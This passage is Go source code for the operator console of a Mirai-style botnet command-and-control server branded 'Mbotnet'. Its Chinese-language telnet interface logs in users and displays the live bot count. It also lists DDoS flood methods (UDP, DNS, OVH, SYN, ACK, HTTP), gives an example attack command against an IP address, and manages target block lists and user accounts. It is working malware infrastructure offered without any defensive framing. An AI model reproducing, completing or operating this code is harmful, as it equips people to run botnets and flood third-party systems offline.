package main

import (
	"fmt"
	"net"
	"strconv"
	"strings"
	"time"
    "io/ioutil"
)

type Admin struct {
	conn net.Conn
}

func NewAdmin(conn net.Conn) *Admin {
	return &Admin{conn}
}

func (this *Admin) Handle() {
    this.conn.Write([]byte("\033[?1049h"))
    this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))

defer func() {
	this.conn.Write([]byte("\033[?1049l"))
	}()
	message, err := ioutil.ReadFile("message.txt")
	if err != nil {
		return
	}

	prom := string(message)

	// Get username
	this.conn.Write([]byte("\033[2J\033[1;1H"))
	this.conn.Write([]byte("\x1b[1;32m             \x1b[1;31m   ███▄ ▄███▓▓█████▄ ▓█████▄  ▒█████    ██████    \x1b[1;0m\r\n"))
	this.conn.Write([]byte("\x1b[1;32m             \x1b[1;31m  ▓██▒▀█▀ ██▒▒██▀ ██▌▒██▀ ██▌▒██▒  ██▒▒██    ▒    \x1b[1;0m\r\n"))
	this.conn.Write([]byte("\x1b[1;32m       	     \x1b[1;31m  ▓██    ▓██░░██   █▌░██   █▌▒██░  ██▒░ ▓██▄      \x1b[1;0m\r\n"))
	this.conn.Write([]byte("\x1b[1;32m      	     \x1b[1;31m  ▒██    ▒██ ░▓█▄   ▌░▓█▄   ▌▒██   ██░  ▒   ██▒   \x1b[1;0m\r\n"))
	this.conn.Write([]byte("\x1b[1;32m       	     \x1b[1;31m  ▒██▒   ░██▒░▒████▓ ░▒████▓ ░ ████▓▒░▒██████▒▒   \x1b[1;0m\r\n"))
	this.conn.Write([]byte("\x1b[1;32m       	     \x1b[1;31m  ░ ▒░   ░  ░ ▒▒▓  ▒  ▒▒▓  ▒ ░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░   \x1b[1;0m\r\n"))
	this.conn.Write([]byte("\x1b[1;32m       	        \x1b[1;31m  ░  ░      ░ ░ ▒  ▒  ░ ▒  ▒   ░ ▒ ▒░ ░ ░▒  ░ ░   \x1b[1;0m\r\n"))
	this.conn.Write([]byte("\x1b[1;32m      	        \x1b[1;31m  ░      ░    ░ ░  ░  ░ ░  ░ ░ ░ ░ ▒  ░  ░  ░     \x1b[1;0m\r\n"))
	this.conn.Write([]byte("\x1b[1;32m      	           \x1b[1;31m         ░      ░       ░        ░ ░        ░     \x1b[1;0m\r\n"))
	this.conn.Write([]byte("\x1b[1;32m       	             \x1b[1;31m              ░       ░                           \x1b[1;0m\r\n"))
	this.conn.Write([]byte("\x1b[1;36m \r\n"))
	this.conn.Write([]byte("\x1b[1;37m                      🤡Mbotnet--中国自营僵尸网络🤡   \r\n"))
    this.conn.Write([]byte("\x1b[1;36m \r\n"))
    this.conn.Write([]byte("\x1b[1;33m                                 🤡By:M🤡            \r\n"))
	this.conn.Write([]byte("\r\n"))
	this.conn.Write([]byte("\r\n"))
	this.conn.Write([]byte("\r\n"))
	this.conn.SetDeadline(time.Now().Add(60 * time.Second))
	this.conn.Write([]byte("\033[0;33m账号\033[\033[01;37m: \033[01;37m"))
	username, err := this.ReadLine(false)
	if err != nil {
		return
	}
	// Get password
	this.conn.SetDeadline(time.Now().Add(60 * time.Second))
	this.conn.Write([]byte("\033[0;33m密码\033[\033[01;37m: \033[01;37m"))
	password, err := this.ReadLine(true)
	if err != nil {
		return
	}
	//Attempt  Login
	this.conn.SetDeadline(time.Now().Add(120 * time.Second))
	this.conn.Write([]byte("\r\n"))
	spinBuf := []byte{'-', '\\', '|', '/'}
	for i := 0; i < 15; i++ {
		this.conn.Write(append([]byte("\r\033[01;37m检查中...\033[01;37m"), spinBuf[i%len(spinBuf)]))
		time.Sleep(time.Duration(200) * time.Millisecond)
	}
	this.conn.Write([]byte("\r\n"))

	//if credentials are incorrect output error and close session
	var loggedIn bool
	var userInfo AccountInfo
	if loggedIn, userInfo = database.TryLogin(username, password, this.conn.RemoteAddr()); !loggedIn {
		this.conn.Write([]byte("\r\033[01;90m输入错误，请在此尝试 (￣ε(#￣) .\r\n"))
		buf := make([]byte, 1)
		this.conn.Read(buf)
		return
	}
	// Header
	this.conn.Write([]byte("\r\n\033[0m"))
	go func() {
		i := 0
		for {
			var BotCount int
			if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
				BotCount = userInfo.maxBots
			} else {
				BotCount = clientList.Count()
			}

			time.Sleep(time.Second)
			if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0; [%d] 僵尸数量 <-|-> 用户是: %s\007", BotCount, username))); err != nil {
				this.conn.Close()
				break
			}
			i++
			if i%60 == 0 {
				this.conn.SetDeadline(time.Now().Add(120 * time.Second))
			}
		}
	}()

    this.conn.Write([]byte("\033[2J\033[1H")) //display main header
    this.conn.Write([]byte("\r\n"))
    this.conn.Write([]byte("\033[0;37m用户888号： \033[0;32m" + username + "\033[0;37m \r\n"))
	this.conn.Write([]byte(fmt.Sprintf("\033[01;31m主人消息: \033[0;37m%s\r\n", prom)))
    this.conn.Write([]byte("\r\n"))

	for {
		var botCatagory string
		var botCount int
		this.conn.Write([]byte("\033[01;37m\033[01;37m" + username + "\033[0;36m@\033[01;31mM私人专用版\033[01;37m\033[01;37m:\033[01;37m \033[01;37m"))
		cmd, err := this.ReadLine(false)

		if err != nil || cmd == "exit" || cmd == "quit" {
			return
		}
		if cmd == "" {
			continue
		}

		if err != nil || cmd == "c" || cmd == "cls" || cmd == "clear" { // clear screen
			this.conn.Write([]byte("\033[2J\033[1H"))
			this.conn.Write([]byte("\r\n"))
			this.conn.Write([]byte("\r\n"))
			this.conn.Write([]byte("\x1b[1;32m       \x1b[0m \r\n"))
			this.conn.Write([]byte("\x1b[1;32m             \x1b[1;31m   ███▄ ▄███▓▓█████▄ ▓█████▄  ▒█████    ██████    \x1b[1;0m\r\n"))
			this.conn.Write([]byte("\x1b[1;32m             \x1b[1;31m  ▓██▒▀█▀ ██▒▒██▀ ██▌▒██▀ ██▌▒██▒  ██▒▒██    ▒    \x1b[1;0m\r\n"))
			this.conn.Write([]byte("\x1b[1;32m       	   \x1b[1;31m    ▓██    ▓██░░██   █▌░██   █▌▒██░  ██▒░ ▓██▄      \x1b[1;0m\r\n"))
			this.conn.Write([]byte("\x1b[1;32m      	     \x1b[1;31m  ▒██    ▒██ ░▓█▄   ▌░▓█▄   ▌▒██   ██░  ▒   ██▒   \x1b[1;0m\r\n"))
			this.conn.Write([]byte("\x1b[1;32m       	     \x1b[1;31m  ▒██▒   ░██▒░▒████▓ ░▒████▓ ░ ████▓▒░▒██████▒▒   \x1b[1;0m\r\n"))
			this.conn.Write([]byte("\x1b[1;32m       	     \x1b[1;31m  ░ ▒░   ░  ░ ▒▒▓  ▒  ▒▒▓  ▒ ░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░   \x1b[1;0m\r\n"))
			this.conn.Write([]byte("\x1b[1;32m       	       \x1b[1;31m  ░  ░      ░ ░ ▒  ▒  ░ ▒  ▒   ░ ▒ ▒░ ░ ░▒  ░ ░   \x1b[1;0m\r\n"))
			this.conn.Write([]byte("\x1b[1;32m      	       \x1b[1;31m  ░      ░    ░ ░  ░  ░ ░  ░ ░ ░ ░ ▒  ░  ░  ░     \x1b[1;0m\r\n"))
			this.conn.Write([]byte("\x1b[1;32m      	       \x1b[1;31m         ░      ░       ░        ░ ░        ░     \x1b[1;0m\r\n"))
			this.conn.Write([]byte("\x1b[1;32m       		 \x1b[1;31m              ░       ░                           \x1b[1;0m\r\n"))
			this.conn.Write([]byte("\x1b[1;32m       		 \x1b[1;31m    \x1b[1;0m\r\n"))
			this.conn.Write([]byte("\033[37m                                                          \r\n"))
			this.conn.Write([]byte("\033[37m                  \033[0;32m版本：M私人版本，不外传，优化攻击方法\r\n"))
			this.conn.Write([]byte("\r\n"))
			this.conn.Write([]byte(fmt.Sprintf("\033[01;31m主人消息: \033[0;0m%s\r\n", prom)))
			this.conn.Write([]byte("\r\n"))
			continue
		}
/*	fuck this skiddy shitty shiny dicky menu
		if err != nil || cmd == "METHODS" || cmd == "methods" {
			this.conn.Write([]byte("\r\n\033[0m"))
			this.conn.Write([]byte("\033[31mstdhex\033[97m:\033[0;36m STD六角攻击 (UDP)\r\n"))
			this.conn.Write([]byte("\033[31mplain\033[97m:\033[0;36m 针对更高 PPS 优化的 UDP 攻击\r\n"))
			this.conn.Write([]byte("\033[31mudp\033[97m:\033[0;36m 标准 UDP 攻击\r\n"))
			this.conn.Write([]byte("\033[31mdns\033[97m:\033[0;36m DNS 攻击折磨 (UDP)\r\n"))
			this.conn.Write([]byte("\033[31movh\033[97m:\033[0;36m OVH 十六进制攻击 (UDP)\r\n"))

			this.conn.Write([]byte("\r\n\033[0m"))
			this.conn.Write([]byte("\033[31msyn\033[97m:\033[0;36m TCP SYN 攻击\r\n"))
			this.conn.Write([]byte("\033[31mack\033[97m:\033[0;36m TCP ACK 攻击\r\n"))
			this.conn.Write([]byte("\r\n\033[0m"))
			this.conn.Write([]byte("\033[31mhttp\033[97m:\033[0;36m Layer7 自定义攻击\r\n"))
			this.conn.Write([]byte("\r\n\033[0m"))
			continue
		}
*/
		if err != nil || cmd == "METHODS" || cmd == "methods" || cmd == "sy" {
			this.conn.Write([]byte("\r\n\033[0m"))
			this.conn.Write([]byte("\033[31m ? \033[97m我应该怎么使用？\033[97m\033[0;36m\r\n"))
			this.conn.Write([]byte("\r\n\033[0m"))
			this.conn.Write([]byte("\033[31m\033[0;36m 输入下面的你就懂了，不会我也没招。\r\n"))
			this.conn.Write([]byte("\033[31m\033[97m 示例命令:\033[0;36m udp 1.1.1.1 20 ?\r\n"))
			this.conn.Write([]byte("\r\n\033[0m"))
			continue
		}

		if err != nil || cmd == "MENU" || cmd == "menu" || cmd == "cd"{
			this.conn.Write([]byte("\r\n\033[0m"))
			this.conn.Write([]byte("\033[31mmethods\033[97m:\033[0;36m 显示攻击方法\r\n"))
			this.conn.Write([]byte("\033[31mblock / unblock \033[97m:\033[0;36m 阻止或取消，对此IP的攻击\r\n"))
			this.conn.Write([]byte("\033[31mbots\033[97m:\033[0;36m 显示僵尸架构和僵尸数量\r\n"))

			this.conn.Write([]byte("\033[31maddadmin\033[97m:\033[0;36m 添加管理员\r\n"))
			this.conn.Write([]byte("\033[31maddbasic\033[97m:\033[0;36m 添加用户\r\n"))
			this.conn.Write([]byte("\033[31mremoveuser\033[97m:\033[0;36m 删除用户\r\n"))
			this.conn.Write([]byte("\r\n\033[0m"))
			continue
		}


		if userInfo.admin == 1 && cmd == "block" {
			this.conn.Write([]byte("\033[0m输入目标 ip :\033[01;37m "))
			new_pr, err := this.ReadLine(false)
			if err != nil {
				return
			}
			this.conn.Write([]byte("\033[0m放置网络掩码（斜线后）:\033[01;37m "))
			new_nm, err := this.ReadLine(false)
			if err != nil {
				return
			}
			this.conn.Write([]byte("\033[0m我们将阻止对该 IP 的所有攻击尝试: \033[97m" + new_pr + "/" + new_nm + "\r\n\033[0m确定吗? \033[01;37m(\033[01;32my\033[01;37m/\033[01;31mn\033[01;37m) "))
			confirm, err := this.ReadLine(false)
			if err != nil {
				return
			}
			if confirm != "y" {
				continue
			}
			if !database.BlockRange(new_pr, new_nm) {
				this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "发生未知错误.")))
			} else {
				this.conn.Write([]byte("\033[32;1m搞定!\033[0m\r\n"))
			}
			continue
		}

		if userInfo.admin == 1 && cmd == "unblock" {
			this.conn.Write([]byte("\033[0m输入要从白名单中删除的IP: \033[01;37m"))
			rm_pr, err := this.ReadLine(false)
			if err != nil {
				return
			}
			this.conn.Write([]byte("\033[0m将要从白名单中删除的网络掩码（斜线后）:\033[01;37m "))
			rm_nm, err := this.ReadLine(false)
			if err != nil {
				return
			}
			this.conn.Write([]byte("\033[0m我们将取消阻止对该 IP 的所有攻击尝试: \033[97m" + rm_pr + "/" + rm_nm + "\r\n\033[0m确定吗? \033[01;37m(\033[01;32my\033[01;37m/\033[01;31mn\033[01;37m) "))
			confirm, err := this.ReadLine(false)
			if err != nil {
				return
			}
			if confirm != "y" {
				continue
			}
			if !database.UnBlockRange(rm_pr) {
				this.conn.Write([]byte(fmt.Sprintf("\033[01;31m无法删除该 IP